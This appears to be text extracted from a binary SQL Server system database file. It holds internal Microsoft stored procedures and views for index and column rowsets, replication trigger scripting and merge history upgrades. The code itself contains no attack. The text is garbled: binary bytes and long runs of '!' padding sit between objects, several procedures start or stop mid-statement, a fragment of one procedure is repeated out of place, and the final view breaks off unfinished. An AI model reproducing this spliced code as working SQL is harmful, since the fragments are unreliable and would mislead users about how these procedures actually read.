8CREATE VIEW sys.spatial_reference_systems AS
SELECT
	spatial_reference_id, 
	authority_name,
	authorized_spatial_reference_id,
	well_known_text,
	unit_of_measure,
	unit_conversion_factor
FROM	sys.spatial_reference_systems_tvf()
0s> H8
create procedure sys.sp_indexes_rowset_rmt
(
    @table_server       sysname,
    @table_catalog      sysname = null,
    @table_name         sysname = null,
    @index_name         sysname = null,
    @table_schema       sysname = null
)
as
    select
        TABLE_CATALOG,
        TABLE_SCHEMA,
        TABLE_NAME,
        INDEX_CATALOG,
        INDEX_SCHEMA,
        INDEX_NAME,
        PRIMARY_KEY,
        [UNIQUE],
        [CLUSTERED],
        [TYPE],
        FILL_FACTOR,
        INITIAL_SIZE,
        NULLS,
        SORT_BOOKMARKS,
        AUTO_UPDATE,
        NULL_COLLATION,
        ORDINAL_POSITION,
        COLUMN_NAME,
        COLUMN_GUID,
        COLUMN_PROPID,
        [COLLATION],
        CARDINALITY,
        PAGES,
        FILTER_CONDITION,
        INTEGRATED = null   -- ISSUE these 3 columns must be exported by the server
                            -- in \yukon\sql\ntdbms\msql\ddl\sysoledb.cpp :
                            -- const SCHEMA_COLUMNS xCol_INDEXES = {

    from
         sys.fn_remote_indexes (
                @table_server,
                @table_catalog,
                @table_schema,
                @index_name,
                null,           -- TYPE (index type)
                @table_name )
    order by 8 desc, 4, 5, 6, 17
07  Y
8create procedure sys.sp_MSscript_trigger_update_checks
(
    @objid int,
    @identity_col sysname,
    @ts_col       sysname,
    @op_type varchar(3) = 'ins', -- 'ins', 'upd'
    @indent int = 0
)
as
begin
    set nocount on
    declare @cmd nvarchar(4000)
                ,@colname sysname
                ,@ccoltype sysname
                ,@this_col int
                ,@rc int

    --
    -- script column checks for Image/Text
    --
    declare #hccols cursor local fast_forward for
        select column_id
        from sys.columns 
        where object_id = @objid 
        and is_computed = 0
        order by column_id asc

    open #hccols
    fetch #hccols into @this_col
    while (@@fetch_status != -1)
    begin
        -- get the column information
        exec @rc = sys.sp_MSget_colinfo @objid, @this_col, null, 1, @colname output, @ccoltype output
        if @rc = 0
        begin
            if @ccoltype in ('text','ntext','image')
            begin
                -- Image/Text data
                if @op_type = 'ins'
                begin
                    select @cmd = N'
    if update(' +  quotename(@colname) + ')
        exec sys.sp_MSreplraiserror 20508 '
                    insert into #proctext(procedure_text) values(@cmd)
                end
                else if @op_type = 'upd'
                begin
                    select @cmd = N'
    if update(' +  quotename(@colname) + ')  
    begin
        exec sys.sp_MSreplraiserror 20509
        goto FAILURE 
    end '
                    insert into #proctext(procedure_text) values(@cmd)
                end
            end
        end -- if rc = 0
        --
        -- get next column
        --
        fetch #hccols into @this_col
    end -- fetch_status
    close #hccols   
    deallocate #hccols
    --
    -- script  identity col update check
    --
    if @op_type = 'upd' and @identity_col is not null
    begin
        select @cmd = N'
    if update(' +  quotename(@identity_col) + N') 
    begin
        exec sys.sp_MSreplraiserror 20510
        goto FAILURE
    end '
        insert into #proctext(procedure_text) values(@cmd)
    end
    --
    -- scipt timestamp col update check
    --
    if @op_type = 'upd' and @ts_col is not null
    begin
        select @cmd = N'
    if update(' +  quotename(@ts_col) + N') 
    begin
        exec sys.sp_MSreplraiserror 20511
        goto FAILURE
    end '
        insert into #proctext(procedure_text) values(@cmd)
    end
    --
    -- all done
    --
    return 0
end
0 8create procedure sys.sp_MSupgrade_merge_history90
as
begin
	-- If the MSmerge_history table is in the pre-Yukon format, transfer data from it to MSmerge_sessions
	if object_id('MSmerge_history') is not NULL and object_id('MSmerge_sessions') is not NULL 
		and exists (select * from sys.columns
									where name = 'publisher_insertcount' and object_id=object_id('MSmerge_history'))
	begin
		
		delete from dbo.MSmerge_history where timestamp not in 
			(select max(timestamp) from dbo.MSmerge_history group by agent_id)
			
		-- transfer as much of old history into new tables as possible.
		exec ('insert into dbo.MSmerge_sessions (agent_id, start_time, end_time, duration, delivery_time, delivery_rate, percent_complete,
			upload_inserts, upload_updates, upload_deletes, upload_conflicts, download_inserts, download_updates, download_deletes,
			download_conflicts, runstatus)
		select agent_id, start_time, time, duration, delivery_time, delivery_rate, 100,
			subscriber_insertcount, subscriber_updatecount, subscriber_deletecount,	subscriber_conflictcount, 
			publisher_insertcount, publisher_updatecount, publisher_deletecount, publisher_conflictcount, 
			runstatus
		from dbo.MSmerge_history') 
								
		IF exists (select * from sys.columns
				where name = 'session_id'
				and object_id=object_id('MSrepl_errors'))
			and exists (select * from sys.columns
				where name = 'error_id'
				and object_id=object_id('MSmerge_history'))
        begin
			exec ('update e set e.session_id = s.session_id
			from dbo.MSrepl_errors e join dbo.MSmerge_history h
			on e.id = h.error_id
			join dbo.MSmerge_sessions s
			on h.agent_id = s.agent_id')
        end
    end
  
	return 0
	  
end
00 D8/h%%!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.o`<@0X4 8
create procedure sys.sp_columns_90_rowset
(
    @table_name     sysname,
    @table_schema   sysname = NULL,
    @column_name    sysname = NULL
)
as
    select
        TABLE_CATALOG           = s_cv.TABLE_CATALOG,
        TABLE_SCHEMA            = s_cv.TABLE_SCHEMA,
        TABLE_NAME              = s_cv.TABLE_NAME,
        COLUMN_NAME             = s_cv.COLUMN_NAME,
        COLUMN_GUID             = s_cv.COLUMN_GUID,
        COLUMN_PROPID           = s_cv.COLUMN_PROPID,
        ORDINAL_POSITION        = s_cv.ORDINAL_POSITION,
        COLUMN_HASDEFAULT       = s_cv.COLUMN_HASDEFAULT,
        COLUMN_DEFAULT          = s_cv.COLUMN_DEFAULT,
        COLUMN_FLAGS            = s_cv.COLUMN_FLAGS_90,
        IS_NULLABLE             = s_cv.IS_NULLABLE,
        DATA_TYPE               = s_cv.DATA_TYPE_90, -- Used by Yukon clients
        TYPE_GUID               = s_cv.TYPE_GUID,
        CHARACTER_MAXIMUM_LENGTH= s_cv.CHARACTER_MAXIMUM_LENGTH_90,
        CHARACTER_OCTET_LENGTH  = s_cv.CHARACTER_OCTET_LENGTH_90,
        NUMERIC_PRECISION       = s_cv.NUMERIC_PRECISION,
        NUMERIC_SCALE           = s_cv.NUMERIC_SCALE,
        DATETIME_PRECISION      = s_cv.DATETIME_PRECISION_90,
        CHARACTER_SET_CATALOG   = s_cv.CHARACTER_SET_CATALOG_90,
        CHARACTER_SET_SCHEMA    = s_cv.CHARACTER_SET_SCHEMA_90,
        CHARACTER_SET_NAME      = s_cv.CHARACTER_SET_NAME_90,
        COLLATION_CATALOG       = s_cv.COLLATION_CATALOG_90,
        COLLATION_SCHEMA        = s_cv.COLLATION_SCHEMA_90,
        COLLATION_NAME          = s_cv.COLLATION_NAME_90,
        DOMAIN_CATALOG          = s_cv.DOMAIN_CATALOG,
        DOMAIN_SCHEMA           = s_cv.DOMAIN_SCHEMA,
        DOMAIN_NAME             = s_cv.DOMAIN_NAME,
        DESCRIPTION             = s_cv.DESCRIPTION,
        COLUMN_LCID             = s_cv.COLUMN_LCID_90,
        COLUMN_COMPFLAGS        = s_cv.COLUMN_COMPFLAGS_90,
        COLUMN_SORTID           = s_cv.COLUMN_SORTID,
        COLUMN_TDSCOLLATION     = s_cv.COLUMN_TDSCOLLATION_90,
        IS_COMPUTED             = s_cv.IS_COMPUTED,
        SS_XML_SCHEMACOLLECTION_CATALOGNAME = s_cv.SS_XML_SCHEMACOLLECTION_CATALOGNAME,
        SS_XML_SCHEMACOLLECTION_SCHEMANAME  = s_cv.SS_XML_SCHEMACOLLECTION_SCHEMANAME,
        SS_XML_SCHEMACOLLECTIONNAME         = s_cv.SS_XML_SCHEMACOLLECTIONNAME,
        SS_UDT_CATALOGNAME      = s_cv.SS_UDT_CATALOGNAME,
        SS_UDT_SCHEMANAME       = s_cv.SS_UDT_SCHEMANAME,
        SS_UDT_NAME             = s_cv.SS_UDT_NAME,
        SS_UDT_ASSEMBLY_TYPENAME= s_cv.SS_UDT_ASSEMBLY_TYPENAME

    from
        sys.spt_columns_view s_cv

    where
        (
            (@table_schema is null and s_cv.TABLE_NAME = @table_name) or
             s_cv.object_id = object_id(quotename(@table_schema) + '.' + quotename(@table_name))
        ) and
        (@column_name = s_cv.COLUMN_NAME or @column_name is null)

    order by 1, 2, 3, 7
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<N01@ {8CREATE VIEW sys.dm_os_child_instances AS
	SELECT * FROM OpenRowset(TABLE CHILDINSTANCES)
0g 8
create procedure sys.sp_columns_90_rowset2
(
    @table_schema   sysname = NULL,
    @column_name    sysname = NULL
)
as
-----------------------------------------
-- copy & pasted from version 2 !
-----------------------------------------
    select
        TABLE_CATALOG           = s_cv.TABLE_CATALOG,
        TABLE_SCHEMA            = s_cv.TABLE_SCHEMA,
        TABLE_NAME              = s_cv.TABLE_NAME,
        COLUMN_NAME             = s_cv.COLUMN_NAME,
        COLUMN_GUID             = s_cv.COLUMN_GUID,
        COLUMN_PROPID           = s_cv.COLUMN_PROPID,
        ORDINAL_POSITION        = s_cv.ORDINAL_POSITION,
        COLUMN_HASDEFAULT       = s_cv.COLUMN_HASDEFAULT,
        COLUMN_DEFAULT          = s_cv.COLUMN_DEFAULT,
        COLUMN_FLAGS            = s_cv.COLUMN_FLAGS_90,
        IS_NULLABLE             = s_cv.IS_NULLABLE,
        DATA_TYPE               = s_cv.DATA_TYPE_90, -- Used by Yukon clients
        TYPE_GUID               = s_cv.TYPE_GUID,
        CHARACTER_MAXIMUM_LENGTH= s_cv.CHARACTER_MAXIMUM_LENGTH_90,
        CHARACTER_OCTET_LENGTH  = s_cv.CHARACTER_OCTET_LENGTH_90,
        NUMERIC_PRECISION       = s_cv.NUMERIC_PRECISION,
        NUMERIC_SCALE           = s_cv.NUMERIC_SCALE,
        DATETIME_PRECISION      = s_cv.DATETIME_PRECISION_90,
        CHARACTER_SET_CATALOG   = s_cv.CHARACTER_SET_CATALOG_90,
        CHARACTER_SET_SCHEMA    = s_cv.CHARACTER_SET_SCHEMA_90,
        CHARACTER_SET_NAME      = s_cv.CHARACTER_SET_NAME_90,
        COLLATION_CATALOG       = s_cv.COLLATION_CATALOG_90,
        COLLATION_SCHEMA        = s_cv.COLLATION_SCHEMA_90,
        COLLATION_NAME          = s_cv.COLLATION_NAME_90,
        DOMAIN_CATALOG          = s_cv.DOMAIN_CATALOG,
        DOMAIN_SCHEMA           = s_cv.DOMAIN_SCHEMA,
        DOMAIN_NAME             = s_cv.DOMAIN_NAME,
        DESCRIPTION             = s_cv.DESCRIPTION,
        COLUMN_LCID             = s_cv.COLUMN_LCID_90,
        COLUMN_COMPFLAGS        = s_cv.COLUMN_COMPFLAGS_90,
        COLUMN_SORTID           = s_cv.COLUMN_SORTID,
        COLUMN_TDSCOLLATION     = s_cv.COLUMN_TDSCOLLATION_90,
        IS_COMPUTED             = s_cv.IS_COMPUTED,
        SS_XML_SCHEMACOLLECTION_CATALOGNAME = s_cv.SS_XML_SCHEMACOLLECTION_CATALOGNAME,
        SS_XML_SCHEMACOLLECTION_SCHEMANAME  = s_cv.SS_XML_SCHEMACOLLECTION_SCHEMANAME,
        SS_XML_SCHEMACOLLECTIONNAME         = s_cv.SS_XML_SCHEMACOLLECTIONNAME,
        SS_UDT_CATALOGNAME      = s_cv.SS_UDT_CATALOGNAME,
        SS_UDT_SCHEMANAME       = s_cv.SS_UDT_SCHEMANAME,
        SS_UDT_NAME             = s_cv.SS_UDT_NAME,
        SS_UDT_ASSEMBLY_TYPENAME= s_cv.SS_UDT_ASSEMBLY_TYPENAME

    from
        sys.spt_columns_view s_cv

    where
        (@table_schema is null or schema_id(@table_schema) = s_cv.schema_id) and -- check schema
        (@column_name = s_cv.COLUMN_NAME or @column_name is null)

    order by 1, 2, 3, 7
0 ,8create procedure sys.sp_MSsub_cleanup_prop_table AS

    /*
    ** Security Check
    */
    -- Internal sp, not granted to public.
    -- Ignore all errrors
    declare @drop_table bit

    -- Init to drop table
    select @drop_table = 1

    if object_id('MSreplication_subscriptions') is not NULL
    begin
        if exists (select * from MSreplication_subscriptions where 
            subscription_type <> 0)
            select @drop_table = 0
    end
            
    if object_id('sysmergesubscriptions') is not NULL
    begin
        if exists (select * from dbo.sysmergesubscriptions where subid <> pubid and 
            db_name = db_name() and 
            subscriber_server = convert(sysname, SERVERPROPERTY('ServerName')) collate database_default and
            subscription_type <> 0 and
            status <> 7) -- REPLICA_STATUS_BeforeRestore
        begin
            select @drop_table = 0
        end
    end

    if @drop_table = 1
        drop table dbo.MSsubscription_properties
0@޲ 88~1n inds.index_id = indexcols.index_id
                          and inds.object_id = indexcols.object_id
                          and inds.object_id = @tabid
                          and inds.is_primary_key = 1
                        where indexcols.column_id = @colid
                          and indexcols.is_included_column = 0)
            begin
                return 1
            end
        end
        else if objectproperty(@tabid, 'IsView') = 1
        begin
            if exists (select index_column_id
                         from sys.index_columns
                        where object_id = @tabid
                          and index_id = 1 -- clustered index
                          and column_id = @colid)
            begin
                return 1
            end
        end
        
        return 0



        if exists( select * from sys.objects where object_id = @tabid and type = 'V' )
        begin
            select @pkindid = 1
        end
        else
        begin
            select @pkindid = index_id from sys.indexes where object_id = @tabid and is_primary_key = 1
        end
        select @indkey = 1
        select @objname = QUOTENAME(schema_name(OBJECTPROPERTY(@tabid, 'SchemaId'))) collate database_default + N'.' collate database_default + QUOTENAME(object_name( @tabid )) collate database_default 
        while @indkey <= 16 and index_col( @objname, @pkindid, @indkey ) is not null
        begin
            if exists (select column_id from sys.columns where object_id = @tabid 
                    and name = index_col( @objname, @pkindid, @indkey ) and column_id = @colid)
                return 1
            select @indkey = @indkey + 1    
        end
    end
    else if (@publishertype = 2)
    begin
        -- heterogenous publisher
        declare @pubcolid int
            
        SELECT    @pubcolid = publishercolumn_id
        FROM    IHcolumns
        WHERE    @tabid = article_id
        AND    @colid = column_id 

        if exists (SELECT    ihpc.publishercolumn_id
                    FROM IHcolumns ihc, IHpublishercolumns ihpc, IHpublishercolumnconstraints ihpcc,
                            IHpublisherconstraints ihpcn, IHarticles iha
                    WHERE ihpcn.publisher_id = iha.publisher_id
                            and    ihpcn.table_id = iha.table_id
                            and    ihc.publishercolumn_id = ihpc.publishercolumn_id
                            and    ihpc.publishercolumn_id = ihpcc.publishercolumn_id
                            and    ihpcn.publisherconstraint_id = ihpcc.publisherconstraint_id
                            and    iha.article_id = @tabid
                            and    ihpcn.type = 'PRIMARYKEY'
                            and    ihpc.publishercolumn_id = @pubcolid) 
        return 1
    end
    else
    begin
        raiserror(21402, 16, 15, '@publishertype')
    end
    -- all done
    return 0
end
   SS_XML_SCHEMACOLLECTION_SCHEMANAME  = s_cv.SS_XML_SCHEMACOLLECTION_SCHEMANAME,
        SS_XML_SCHEMACOLLECTIONNAME         = s_cv.SS_XML_SCHEMACOLLECTIONNAME,
        SS_UDT_CATALOGNAME      = s_cv.SS_UDT_CATALOGNAME,
        SS_UDT_SCHEMANAME       = s_cv.SS_UDT_SCHEMANAME,
        SS_UDT_NAME             = s_cv.SS_UDT_NAME,
        SS_UDT_ASSEMBLY_TYPENAME= s_cv.SS_UDT_ASSEMBLY_TYPENAME

    from
        sys.spt_columns_view s_cv

    where
        (@table_schema is null or schema_id(@table_schema) = s_cv.schema_id) and -- check schema
        (@column_name = s_cv.COLUMN_NAME or @column_name is null)

    order by 1, 2, 3, 7
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!rpv`<(;K2vf}
create view sys.spt_columns_view
as
    select
    -- begin (for doing joins)
        object_id               = o.object_id,
        schema_id               = o.schema_id,
    -- end (for doing joins)
        TABLE_CATALOG           = db_name(),
        TABLE_SCHEMA            = schema_name(o.schema_id),
        TABLE_NAME              = o.name,
        COLUMN_NAME             = c.name,
        COLUMN_GUID             = convert(uniqueidentifier,null),
        COLUMN_PROPID           = convert(int,null),
        ORDINAL_POSITION        = convert(int, ColumnProperty(c.object_id, c.name, 'ordinal')),
        COLUMN_HASDEFAULT       = convert(bit,
                                            case
                                            when ColumnProperty(c.object_id, c.name, 'default') = 0 then 0
                                            else 1
                                            end),
        COLUMN_DEFAULT          = convert(nvarchar(2000),
                                          object_definition(ColumnProperty(c.object_id, c.name, 'default'))
                                         ),
        COLUMN_FLAGS            = convert(int,
                                            case when d.is_long = 1 or c.max_length = -1 -- 2nd condition is for varchar(MAX) types
                                            then 0x82 --DBCOLUMNFLAGS_ISLONG|DBCOLUMNFLAGS_MAYDEFER
                                            else 0
                                            end
                                        |   case when d.fixlen is not null
                                            then 0x10 --DBCOLUMNFLAGS_ISFIXEDLENGTH
                                            else 0
                                            end
                                        |   case when c.is_nullable = 1
                                            then 0x60 --DBCOLUMNFLAGS_ISNULLABLE|DBCOLUMNFLAGS_MAYBENULL
                                            else 0
                                            end
                                        |   case
                                            when d.ss_dtype = 189 -- 'timestamp'
                                                then 0x200 --DBCOLUMNFLAGS_ISROWVER
                                            when c.is_identity != 1 and 
                                                (has_perms_by_name(quotename(schema_name(o.schema_id)) + '.' + quotename(o.name),
                                                                    'OBJECT',
                                                                    'UPDATE',
                                                                    quotename(c.name),
                                                                    'COLUMN') = 1)
                                                then 0x4 --DBCOLUMNFLAGS_WRITE
                                            else 0
                                            end
                                        |   case
                                            when d.ss_dtype in (41, 42, 43) -- datetime2, time, datetimeoffset
                                                then 0x40000000 --DBCOLUMNFLAGS_SS_ISVARIABLESCALE
                                            else 0
                                            end),
        COLUMN_FLAGS_90         = convert(int,
                                            case when d.is_long = 1 or c.max_length = -1 -- 2nd condition is for varchar(MAX) types
                                            then 0x82 --DBCOLUMNFLAGS_ISLONG|DBCOLUMNFLAGS_MAYDEFER
                                            else 0
                                            end
                                        |   case when d.fixlen is not null and d.ss_dtype not in (40, 41, 42, 43)
                                            then 0x10 --DBCOLUMNFLAGS_ISFIXEDLENGTH
                                            else 0
                                            end
                                        |   case when c.is_nullable = 1
                                            then 0x60 --DBCOLUMNFLAGS_ISNULLABLE|DBCOLUMNFLAGS_MAYBENULL
                                            else 0
                                            end
                                        |   case
                                            when d.ss_dtype = 189 -- 'timestamp'
                                                then 0x200 --DBCOLUMNFLAGS_ISROWVER
                                            when c.is_identity != 1 and 
                                                (has_perms_by_name(quotename(schema_name(o.schema_id)) + '.' + quotename(o.name),
                                                                    'OBJECT',
                                                                    'UPDATE',
                                                                    quotename(c.name),
                                                                    'COLUMN') = 1)
                                                then 0x4 --DBCOLUMNFLAGS_WRITE
                                            else 0
                                            end),
        IS_NULLABLE             = c.is_nullable,
        DATA_TYPE               = d.oledb_data_type,
        DATA_TYPE_90            = convert(smallint,
                                            case -- Enable 9.0 downlevel clients to see new types.
                                            when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                                then 130 -- DBTYPE_WSTR
                                            when d.oledb_data_type = 132 and c.max_length = -1 then 128 -- Large UDT <--> DBTYPE_BYTES for 9.0 clients
                                            else d.oledb_data_type 
                                            end),
        DATA_TYPE_28            = convert(smallint,
                                            case -- Enable 8.0 downlevel clients to see new types.
                                            when d.oledb_data_type = 132 then 128 -- DBTYPE_UDT <--> DBTYPE_BYTES
                                            when d.oledb_data_type = 141 then 130 -- DBTYPE_XML <--> DBTYPE_WSTR
                                            when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                                then 130 -- DBTYPE_WSTR
                                            else d.oledb_data_type
                                            end),
        TYPE_GUID               = convert(uniqueidentifier,null),
        CHARACTER_MAXIMUM_LENGTH= convert(int,
                                            case
                                            when d.oledb_data_type in (129, 128) --DBTYPE_STR/DBTYPE_BYTES
                                                then isnull(d.column_size, -- special case text/ntext/image
                                                            (
                                                                case when c.max_length = -1 then 0
                                                                else c.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 130 --DBTYPE_WSTR
                                                then coalesce(d.column_size,c.max_length/2)
                                            when d.oledb_data_type = 132 and c.max_length = -1 -- Large UDT => Unlimited max length
                                                then 0
                                            when d.oledb_data_type = 132 -- Small UDT
                                                then c.max_length
                                            else null
               !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(;vf}                             end),
        CHARACTER_MAXIMUM_LENGTH_90= convert(int,
                                            case
                                            when d.oledb_data_type in (129, 128) --DBTYPE_STR/DBTYPE_BYTES
                                                then isnull(d.column_size, -- special case text/ntext/image
                                                            (
                                                                case when c.max_length = -1 then 0
                                                                else c.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 130 --DBTYPE_WSTR
                                                then coalesce(d.column_size,c.max_length/2)
                                            when d.oledb_data_type = 132 --DBTYPE_UDT
                                                then c.max_length
                                            when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                                then c.precision
                                            else null
                                            end),
        CHARACTER_MAXIMUM_LENGTH_28= convert(int, -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 128) --DBTYPE_STR/DBTYPE_BYTES
                                                then isnull(d.column_size, -- special case text/image
                                                            (
                                                                case when c.max_length = -1 then 2147483647
                                                                else c.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 130 --DBTYPE_WSTR
                                                then isnull(d.column_size, -- special case ntext
                                                            (
                                                                case when c.max_length = -1 then 1073741823
                                                                else c.max_length/2
                                                                end
                                                            ))
                                            when d.oledb_data_type = 141 --DBTYPE_XML
                                                then 1073741823 -- match ntext value
                                            when d.oledb_data_type = 132 and c.max_length = -1 -- Large UDT => image for non-SNAC clients
                                                then 2147483647
                                            when d.oledb_data_type = 132 -- Small UDT
                                                then c.max_length
                                            when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                                then c.precision
                                            else null
                                            end),
        CHARACTER_OCTET_LENGTH  = convert(int,
                                            case when d.oledb_data_type in (129, 128) --DBTYPE_STR/DBTYPE_BYTES
                                                then isnull(d.column_size, -- special case text/ntext/image
                                                            (
                                                                case when c.max_length = -1 then 0
                                                                else c.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 130 --DBTYPE_WSTR
                                                then isnull(d.column_size*2, -- special case text/ntext/image
                                                            (
                                                                case when c.max_length = -1 then 0
                                                                else c.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 132 and c.max_length = -1 -- Large UDT => Unlimited Octet Length
                                                then 0
                                            when d.oledb_data_type = 132 -- Small UDT
                                                then c.max_length
                                            else null
                                            end),
        CHARACTER_OCTET_LENGTH_90= convert(int,
                                            case when d.oledb_data_type in (129, 128) --DBTYPE_STR/DBTYPE_BYTES
                                                then isnull(d.column_size, -- special case text/ntext/image
                                                            (
                                                                case when c.max_length = -1 then 0
                                                                else c.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 130 --DBTYPE_WSTR
                                                then isnull(d.column_size*2, -- special case text/ntext/image
                                                            (
                                                                case when c.max_length = -1 then 0
                                                                else c.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 132 --DBTYPE_UDT
                                                then c.max_length
                                            when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                                then c.precision*2
                                            else null
                                            end),
        CHARACTER_OCTET_LENGTH_28=convert(int, -- for backward compatibility
                                            case
                                            when d.oledb_data_type in (129, 128) --DBTYPE_STR/DBTYPE_BYTES
                                                then isnull(d.column_size, -- special case text/image
                                                            (
                                                                case when c.max_length = -1 then 2147483647
                                                                else c.max_length
                                                                end
                                                            ))
                                            when d.oledb_data_type = 130 --DBTYPE_WSTR
                                                then isnull(d.column_size*2, -- special case ntext
                                                            (
                                                                case when c.max_length = -1 then 2147483646
                                                                else c.max_length
                     !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(; `nvf}                                           end
                                                            ))
                                            when d.oledb_data_type = 141 --DBTYPE_XML
                                                then 2147483646 -- match ntext
                                            when d.oledb_data_type = 132 and c.max_length = -1 -- Large UDT => image for non-SNAC clients
                                                then 2147483647
                                            when d.oledb_data_type = 132 --DBTYPE_UDT
                                                then c.max_length
                                            when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                                then c.precision*2
                                            else null
                                            end),
        NUMERIC_PRECISION       = convert(smallint,
                                            case when d.oledb_data_type = 131 --DBTYPE_NUMERIC
                                                then c.precision
                                            when (d.fixed_prec_scale=1 or d.oledb_data_type in (5, 4)) -- DBTYPE_R4/DBTYPE_R8
                                                then d.data_precision
                                            else null
                                            end),
        NUMERIC_SCALE           = convert(smallint,
                                            case when d.oledb_data_type = 131 --DBTYPE_NUMERIC
                                            then odbcscale(c.system_type_id,c.scale)
                                            else null
                                            end),
                                  -- We could also include legacy datetime, smalldatetime in the first condition
                                  -- because the results are correct there also
        DATETIME_PRECISION      = convert(int,
                                            case when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                            then c.scale
                                            else d.datetime_precision
                                            end),
        DATETIME_PRECISION_90   = convert(int,
                                            case when d.ss_dtype in (40, 41, 42, 43) -- date, time, datetime2, datetimeoffset
                                            then null
                                            else d.datetime_precision
                                            end),
        CHARACTER_SET_CATALOG   = convert(sysname,
                                            case when d.oledb_data_type in (129, 130) --DBTYPE_STR, DBTYPE_WSTR
                                            then N'master'
                                            else null
                                            end),
        CHARACTER_SET_CATALOG_90= convert(sysname, -- for backward compatibility
                                            case when d.oledb_data_type in (129, 130) --DBTYPE_STR/DBTYPE_WSTR
                                            then N'master' 
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                            then N'master' -- new datetime types characterset catalog belongs to master
                                            else null 
                                            end),
        CHARACTER_SET_CATALOG_28= convert(sysname, -- for backward compatibility
                                            case when d.oledb_data_type in (129, 130, 141) --DBTYPE_STR/DBTYPE_WSTR/DBTYPE_XML
                                            then N'master' 
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                            then N'master' -- new datetime types characterset catalog belongs to master
                                            else null 
                                            end),
        CHARACTER_SET_SCHEMA    = convert(sysname,
                                            case when d.oledb_data_type in (129, 130) --DBTYPE_STR, DBTYPE_WSTR
                                            then N'dbo'
                                            else null
                                            end),
        CHARACTER_SET_SCHEMA_90 = convert(sysname, -- for backward compatibility
                                            case when d.oledb_data_type in (129, 130) --DBTYPE_STR/DBTYPE_WSTR/DBTYPE_XML
                                            then N'dbo' 
                                            when d.ss_dtype in (40, 41, 42, 43) 
                                            then N'dbo' -- new datetime types use the default dbo schema
                                            else null 
                                            end),
        CHARACTER_SET_SCHEMA_28 = convert(sysname, -- for backward compatibility
